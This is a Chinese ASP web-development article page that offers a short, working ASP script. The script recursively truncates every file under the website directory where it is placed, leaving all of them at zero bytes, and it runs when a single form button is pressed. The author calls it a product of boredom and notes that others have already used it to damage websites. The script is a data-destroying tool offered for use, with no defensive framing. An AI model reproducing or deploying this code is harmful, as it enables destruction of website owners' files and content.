·您现在的位置： 云翼网络 >> 文章中心 >> 网站建设 >> 网站建设开发 >> ASP网站建设 >> 自动清空站点目录下所有文件

【如有意向点此提交需求】关于我们

自动清空站点目录下所有文件

作者：佚名      ASP网站建设编辑：admin      更新时间：2022-07-23

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

属于无聊时的作品,已经有人利用这个破坏了一些网站了.

<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
 Call ListFile(Server.mappath("./"))
 Response.write"清理完毕"
Else
 Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
 Dim Shell,Folder,s
 Set Shell =Server.CreateObject ("Shell.application")
 Set Folder =Shell.Namespace(fpath)
 Set f=Server.CreateObject("Adodb.Stream")
  f.Type=1
  f.Open
 For Each s in Folder.Items
  IF s.isfolder Then
   Call ListFile(s.path)
  Else
   f.SaveToFile s.path,2
  End if
 Next
 Set f=Nothing
 Set Shell=nothing
End function
%>